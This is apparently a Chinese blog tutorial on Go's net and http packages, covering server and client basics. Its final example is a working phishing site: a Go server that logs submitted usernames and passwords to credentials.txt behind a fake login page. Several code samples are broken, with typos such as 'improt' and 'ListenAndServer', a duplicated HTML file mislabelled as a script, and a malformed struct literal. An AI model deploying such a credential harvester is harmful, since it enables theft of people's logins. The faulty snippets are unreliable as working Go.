Go-Web之net&http包

什么是net包和http包

在Go语言中,nethttp 包是构建网络应用程序时非常常用的两个包。它们分别提供了处理底层网络通信和HTTP协议的功能。

net包

net包主要提供了底层网络通信功能,支持TCP、UDP、Unix套字节等协议,常用于创建网络服务或网络通信

其主要函数在TCP网络连接中已经学习过

http包

http包主要用于处理http请求和响应,提供了方便的函数来实现http客户端和服务端

主要函数

  1. http.ListenAndServe:
    http.ListenAndServe是创建HTTP服务器的最常用函数,它监听指定地址并等待请求,它需要传入一个地址和一个http.Handler
func ListenAndServe(addr string, handler Handler) error


http.ListenAndServe(":8080", nil)

  1. http.HandleFunc:
    http.HandleFunc函数用于注册一个路由和请求处理函数,它会将请求分发到指定处理函数中
func HandleFunc(pattern string, handler func(ResponseWriter, *Request))


http.HandleFunc("/hello", func(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello, World!")
})

  1. http.NewRequest:
    http.NewRequest用于创建一个新的HTTP请求,通常用于HTTP客户端
func NewRequest(method, url string, body io.Reader) (*Request, error)

method:HTTP请求方法(GET等)
url:请求的URL
body:请求的正文内容(通常为nil或io.Reader)


req, err := http.NewRequest("GET", "http://localhost:8080", nil)
if err != nil {
    log.Fatal(err)
}

  1. http.Get
    http.Get是一个简单的HTTP客户端函数,发送一个GET请求并返回响应

func Get(url string) (resp *Response, err error)



resp, err := http.Get("http://localhost:8080")
if err != nil {
    log.Fatal(err)
}
defer resp.Body.Close()

body, _ := ioutil.ReadAll(resp.Body)
fmt.Println(string(body))

  1. http.ResponseWriter
    http.ResponseWriter是一个接口,用于构建http响应。
    Write([]byte) (n int,err error):向响应写入数据
    WriteHeader(statusCode int):设置HTTP响应状态码

http.HandleFunc("/hello",func(w http.ResponseWriter,r *http.Request){
	w.WriteHeader(http.StatusOK)
	fmt.Fprintf(w,"Hello,World!")
})

例子

创建一个简单的HTTP服务器


package main

improt(
"fmt"
"net/http"
)

func handler(w http.ResponseWriter,r *http.Request){
fmt.Fprintf(w,"Hello,%s!",r.URL.Path[1:])
}

func main(){
http.HandleFunc("/",handler)

fmt.Println("Server is running at http://127.0.0.1:8080")
err:=http.ListenAndServer(":8080",nil)
if err !=nil{
fmt.Println("Error starting server:",err)
}
}

HTTP客户端请求

package main

import(
"fmt"
"net/http"
"io/ioutil"
)

func main(){
resp,err:=http.Get("http://127.0.0.1:8080")
if err !=nil{
fmt.Println("Error:",err)
return
}
defer resp.Body.Close()

body,err:=ioutil.ReadAll(resp.Body)

if err!=nil{
fmt.Println("Error reading response body:",err)
return
}
fmt.Println("Response:",string(body))

}

通过http.NewRequest创建自定义请求

package main

import (
    "bytes"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
)

func main() {
    // 创建请求数据
    url := "https://httpbin.org/post"
    method := "POST"
    payload := []byte(`{"name": "John", "age": 30}`)

    // 创建请求
    req, err := http.NewRequest(method, url, bytes.NewBuffer(payload))
    if err != nil {
        log.Fatal(err)
    }

    // 设置请求头
    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("Authorization", "Bearer your-token")

    // 使用自定义的 HTTP 客户端发送请求
    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        log.Fatal(err)
    }
    defer resp.Body.Close()

    // 读取响应
    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        log.Fatal(err)
    }

    // 输出响应
    fmt.Printf("Response: %s\n", body)
}

通过http.Client拓展请求功能

//配置请求超时
client:=&http.Client{
Timeout: 10*time.Second
}

//配置代理
proxyURL,err:=url.Parse("http://baidu.com")
if err !=nil{
log.Fatal(err)
}
client:==&http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(proxyURL),
},
}

用http包实现钓鱼网站

1.go

package main  
  
import (  
    "net/http"  
    "os"    "time"  
    "github.com/gorilla/mux"    
    log "github.com/sirupsen/logrus"  
)  
  
func login(w http.ResponseWriter, r *http.Request) {  
    log.WithFields(log.Fields{  
       "time":       time.Now().String(),  
       "username":   r.FormValue("username"),  
       "password":   r.FormValue("password"),  
       "user-agent": r.UserAgent(),  
       "ip_address": r.RemoteAddr,  
    }).Info("login attempt")  
    http.Redirect(w, r, "/", 302)  
}  
  
func main() {  
    fh, err := os.OpenFile("credentials.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)  
    if err != nil {  
       panic(err)  
    }  
    defer fh.Close()  
    log.SetOutput(fh)  
    r := mux.NewRouter()  
    r.HandleFunc("/login", login).Methods("POST")  
    r.PathPrefix("/").Handler(http.FileServer(http.Dir("./public")))  
    log.Fatal(http.ListenAndServe(":8080", r))  
}

index.html

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>Login</title>  
    <link rel="stylesheet" href="styles.css">  
</head>  
<body>  
<div class="login-container">  
    <h2>Login</h2>  
    <form id="login-form" method="POST" action="/login">  
        <label for="_user">Username</label>  
        <input type="text" id="_user" name="username" required>  
  
        <label for="_pass">Password</label>  
        <input type="password" id="_pass" name="password" required>  
  
        <button type="submit">Login</button>  
    </form></div>  
  
<script src="scripts.js"></script>  
</body>  
</html>

srcipts.js

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>Login</title>  
    <link rel="stylesheet" href="styles.css">  
</head>  
<body>  
<div class="login-container">  
    <h2>Login</h2>  
    <form id="login-form" method="POST" action="/login">  
        <label for="_user">Username</label>  
        <input type="text" id="_user" name="username" required>  
  
        <label for="_pass">Password</label>  
        <input type="password" id="_pass" name="password" required>  
  
        <button type="submit">Login</button>  
    </form></div>  
  
<script src="scripts.js"></script>  
</body>  
</html>

http包和net包的关系

  • http包是建立在net包的基础上的,实际上http也会使用net来进行底层的网络通讯
  • 我们在http包中使用http.ListenAndServe来创建HTTP服务器,而这个方法实际上是通过net.Listen来实现的,底层的通讯还是依赖于net包的实现。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

follycat

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值